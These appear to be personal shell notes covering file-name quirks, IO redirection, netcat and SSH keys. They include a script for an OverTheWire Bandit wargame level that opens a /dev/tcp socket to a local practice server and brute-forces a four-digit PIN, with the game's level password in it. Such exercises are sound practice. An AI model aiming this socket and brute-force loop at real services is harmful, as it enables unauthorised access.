Special Characters in File Names

- is recognized as stdin, so use ./- for checking filenames beginning with -.

Use "hello world" when names contain spaces.

IO Redirection

Note: Basic file descriptor (fd) for shell’s operation are 0 for STDIN, 1 for STDOUT, 2 for STDERR.

I used this code for OverTheWire Bandit 25.

#!/bin/bash
 
# Link fd3 to localhost:30002 bidirectional
exec 3<>/dev/tcp/localhost/30002
# Print out first line from fd3
head -1 <&3
 
old_password="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"
 
for i in {0000..9999}
do
    answer="${old_password} ${i}"
    # Send to fd3
    echo $answer >&3
    response=$(head -1 <&3)
    if ! [[ $response =~ "Wrong" ]]
    then
        echo $i
        break
    fi
done
 
# Reset fd3 to normal
exec 3>&-

Netcat

Use nc to create a server/client to send tcp.

# Server
nc -l 1234
# Client
nc localhost 1234

Git

Generate a new SSH key.

ssh-keygen -t ed25519 -C "[email protected]"

Add key to ssh-agent.

ssh-add ~/.ssh/id_ed25519